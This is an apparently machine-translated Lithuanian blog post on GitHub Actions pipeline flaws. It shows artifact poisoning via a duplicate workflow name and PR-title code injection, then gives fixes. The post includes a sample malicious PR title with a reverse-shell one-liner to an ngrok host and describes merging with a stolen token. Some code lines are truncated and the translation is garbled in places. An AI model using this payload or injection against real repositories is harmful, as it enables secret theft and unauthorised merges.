Ankstesniuose įrašuose (žr. Netiesiogiai apsinuodijęs Pipeline Vykdymas I-AAP bei Apsinuodijęs Pipeline Vykdymo AAP , mes iš esmės nagrinėjome AAP (apnuodytas Pipeline Vykdymas): matėme, kaip tai veikia, kokie yra jo padariniai, kaip jis gali būti išnaudojamas, taip pat kaip nuo jo apsisaugoti.
Šiame įraše gilinamasi į kai kuriuos kitus CI/CD pipeline pažeidžiamumai, tokie kaip artefaktų apsinuodijimas ir kodo įterpimas.
Tam kažkaip remsimės AAP, tad trumpai apibendrinkime, ką apie AAP matėme.
Ankstesnis darbas su AAP
Apibendrinant, pradėjome nuo paprasto „GitHub“ pipeline sukurti ir išbandyti pateiktą kodą per pull requestBe to, jis apibrėžia kai kuriuos patikrinimus, kurie, jei bus įvykdyti, sujungs kodą su pagrindine šaka. Mes tai pavadinome taip Scenarijus #1.

Ankstesniame įraše pademonstravome, kaip veikia šis pagrindinis pipeline buvo pažeidžiami tiek D-PPE, tiek I-PPE.
Mums tai pavyko pataisyti D-AAP by modifikuojant trigerinį įvykį nuo užklausos_ištraukimas į užklausos_tikslas, padarydamas pipeline saugus naudoti su D-AAP. Kaip priminėjas, pipelinesuveiktas „pull_request_target“ įvykio metu, vykdys bazinę užklausą pipeline kodas, o ne pipeline kodas, esantis pull request.
Mes tai pavadinome taip Scenarijus #2.

Dėl šios modifikacijos parodėme, kad 2 scenarijus vis dar buvo pažeidžiamas I-PPE.
Norėdami tai ištaisyti, nusprendėme padalinti pipeline į dvi dalis:
- 1-asis pipeline (Sukurti CI) būtų patikrinkite PR kodą (norėdami jį sukurti), sukurkite konstrukciją ir sugeneruokite artefaktą.
- "2" pipeline (Testo CI) būtų patikrinkite bazinį kodą (kad išvengtumėte apvalkalo scenarijaus modifikavimo) ir vykdyti originalius scenarijus prieš artefaktą.
- Norėdami sinchronizuoti bandymo CI pipeline paleisti PO „Build CI“ pipeline, mes naudosime darbo eigos_vykdymas sukelti.
Mes tai pavadinome taip Scenarijus #3.

Atkurkime abiejų kodą pipelinepagal šias modifikacijas…
1. pipeline (Sukurti CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2. pipeline (Bandymo pasikliautinumas):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Artefaktų apsinuodijimas
Pagal aukščiau pateiktą CI/CD pipelines:
- pipeline Sukurti CI is saugus abiems D-AAP (dėl užklausos_tikslas) ir I-AAP (nes jis nebevykdo apvalkalo scenarijaus).
- pipeline Testo CI Taip pat saugus abiems D-AAP (dėl darbo eigos_vykdymas) ir I-AAP (nes jis patikrina bazinį kodą, kad gautų originalų apvalkalo scenarijų)
Pasinerkime atidžiau į šį „sprendimą“.
Pipeline Testo CI atsisiunčia artefaktą kaip ZIP failą.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Išskleidus, vykdomas „saugus“ apvalkalo scenarijus. Kodėl sakau „saugus“ apvalkalo scenarijus? Nes ankstesniame žingsnyje pipeline patikrina „bazinį“ kodą, todėl originalus scenarijus įdedamas į darbo srities aplanką. Todėl, kai pipeline vykdo apvalkalo scenarijų, kurį jis paleis naudodamas anksčiau atsisiųstą dvejetainį failą.
Tada, kas yra problema taikant šį požiūrį? Problema kyla kai bet kuris vartotojas „sukuria“ naują pipeline.
Jei vartotojas atidaro PR, kuriame yra naujas pipeline„GitHub“ tai vykdys pipeline (esant tam tikroms sąlygoms, kaip matėme ankstesniame paštu).
Atsižvelgiant į tai, o kas, jei vartotojas sukurs naują pipeline tuo pačiu pavadinimu kaip ir „Build CI“? Taip, tai stebina, bet „GitHub“ leidžia jums sukurti du pipelinesu tuo pačiu pavadinimu!!
Atminkite, kad testinis CI bus vykdomas po CI kūrimo...
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Keista, nes dabar jų yra du pipelinetuo pačiu pavadinimu, pipeline Testo CI bus vykdomas du kartus: vienas po originalo pipeline ir kiti po „naujojo“ pipeline.
Kaip įsilaužėlis gali tuo pasinaudoti?
- Pirma, kenkėjiškas vartotojas gali modifikuoti apvalkalo scenarijų, kad nusiųstų paslaptį į įsilaužėlio kontroliuojamą serverį.
- Antra, naujasis pipeline apima eilutę, skirtą modifikuotam apvalkalo scenarijui nukopijuoti į artefaktą → artefano apsinuodijimasct!!!
Kai vartotojas atidaro PR su šiais pakeitimais, „naujas“ pipeline bus įvykdytas (įkeliant užkrėstą artefaktą) ir Deploy CI pipeline bus įvykdytas po to, dėl to „Modifikuotas“ apvalkalo scenarijus perrašo „originalų“ apvalkalo scenarijų, esantį pipeline darbo sritis.

Tai mes vadiname Artefaktų apsinuodijimas, ty galimybė modifikuoti (nulaužti) pipeline logika modifikuojant a pipeline artefaktas.
Galimas vienas ištaisymas yra gana paprasta: tiesiog išpakavus artefaktą į darbo srities poaplankį, būtų išvengta „bazinio“ apvalkalo scenarijaus perrašymo.
Kodo įpurškimas
Be artefaktų apsinuodijimo, ar matote kokių nors kitų pažeidžiamumų minėtame kode?
Eime!!
Kaip matote kode, pipeline „Build CI“ sukuria dvejetainį failą ir įkelia jį kaip pipeline artefaktą ir, be to, įkelia keletą papildomų duomenų: PR pavadinimą ir PR ID.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Kodėl? Nes norint sujungti PR, kaip matote toliau, Test CI pipeline reikalingas PR ID, kad būtų galima iškviesti „GitHub REST API“, kuri sujungia PR.
Kaip veikia CI testas? pipeline gauti tą PR ID? Bendrinti informaciją tekstiniuose failuose (dalis a pipeline artefaktas) yra įprastas būdas dalytis informacija tarp pipelines. Ir būtent tai šie pipelines daro.
echo "Merging .."
PR_ID=$(
Griežtai kalbant, PR sujungimui reikalingas tik PR ID, bet pipeline administratorius nusprendė, kad „Build CI“ taip pat turėtų apimti PR pavadinimą, taigi ir „Test CI“. pipeline atspausdintų informacinį pranešimą, kuriame būtų ir PR ID, ir pavadinimas.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
PR pavadinimas visada yra duomenys, gaunami iš vartotojo, todėl visada turi būti laikomi nepatikimais.. Taigi pipeline privalo elgtis atitinkamai ir imtis apsaugos priemonių.
Aukščiau pateiktame kode matome konkretų pranešimą, atkartojantį PR pavadinimą. Tai tiesiog „echo“ „Linux“ komanda.
Jei pavadinimas yra „fiktyvus“, „Github“ sistemoje, naudojant eilučių interpoliaciją, sukuriamas scenarijus, kuriame yra
echo ""a dummy title""
O kas, jeigu PR pavadinimas būtų maždaug toks:
Kenkėjiškas pavadinimas „&& bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo“Scenarijus taptų toks:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Dėl to atidaromas atvirkštinis apvalkalas prieš įsilaužėlio kontroliuojamą serverį.

Tas atvirkštinis apvalkalas gali būti naudojamas norint pasiekti pipeline paslaptys (atminkite, kad testinė integracija veikia privilegijų režimu, nes ją suaktyvina „workflow_run“, todėl ji turi prieigą prie paslapčių).
Bet ką dar galima padaryti per tą atvirkštinį apvalkalą?
Pažvelkite į CI testo kodą:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Kaip matote bandymo CI pipeline, „curl merge“ komanda naudoja GITHUB_PAT (apibrėžtą kaip pipeline env var), todėl vykdiklis turi GITHUB_PAT kaip aplinkos kintamąjį. Be to, jis taip pat sukuria env var, nuskaitantį PR ID.
Taigi įsilaužėliui tereikia nukopijuoti „curl“ komandą ir įklijuoti ją į atvirkštinį apvalkalą, sujungiant PR tiesiai su apsaugota šaka.

Kad nuo viso to apsisaugotumėte:
- Iki išvengti eilučių interpoliacija su nepatikimais duomenimis (pažeidžiama kodo įpurškimas) pagal apibrėžiant pipeline aplinkos kintamieji užuot naudoję jį tiesiogiai echo komandose
Užuot naudoję:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Naudok tai:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Net ir panaudojus kodo įterpimo išnaudojimo funkciją, „curl merge“ komanda nebūtų buvusi sėkminga, jei būtumėte tinkamai ją įdiegę. apsaugojo tavo pull requests per privalomą peržiūrą ar patvirtinimą.
Išvados
Kažkaip sunku apsisaugoti CI/CD pipelines konfigūracija ir gauti pipelinebe pažeidžiamumų.
Tai nereiškia, kad CI/CD sistemos (šiuo atveju – „GitHub“) yra pažeidžiamos pačios savaime. CI/CD sistemos suteikia priemones apsisaugoti nuo pažeidžiamumų... tačiau administratoriaus pareiga yra įdiegti šias apsaugos priemones.
Bet ... Negalite išspręsti pažeidžiamumo, nebent žinote apie jo egzistavimą!!!
Žinoma, aukštos kvalifikacijos „devops“ administratorius gali turėti omenyje visas šias grėsmes ir tinkamai apsaugoti CI/CD pipeline...tačiau net ir tokiu atveju labai vertinga naudoti produktą, skirtą visų šių tipų pažeidžiamumams aptikti. Ir, žinoma, automatizuoti šį pažeidžiamumų sulaikymo procesą (pavyzdžiui, atlikti nuskaitymą kaip dalį...). CI/CD pipeline-ai).
Šis požiūris galėtų būti vadinamas „Saugumo vartai"
- Sukurkite naują pipeline (Apsaugos vartai) patikrinti CI/CD pipelinepažeidžiamumus ir padaryti kitą CI pipelinevykdyti tik sėkmingai užbaigus apsaugos vartų patikrinimą pipeline.
- Apsaugos vartai pipelines patikrins CI/CD pipelines pažeidžiamumus ir
- Jei bus aptikta pažeidžiamumų, jis suges, todėl ir kitas pipelines nebus vykdomas.
- Jei pažeidžiamų vietų nerandama, pipeline pavyks, o kitas pipelines bus vykdomas kaip įprasta.








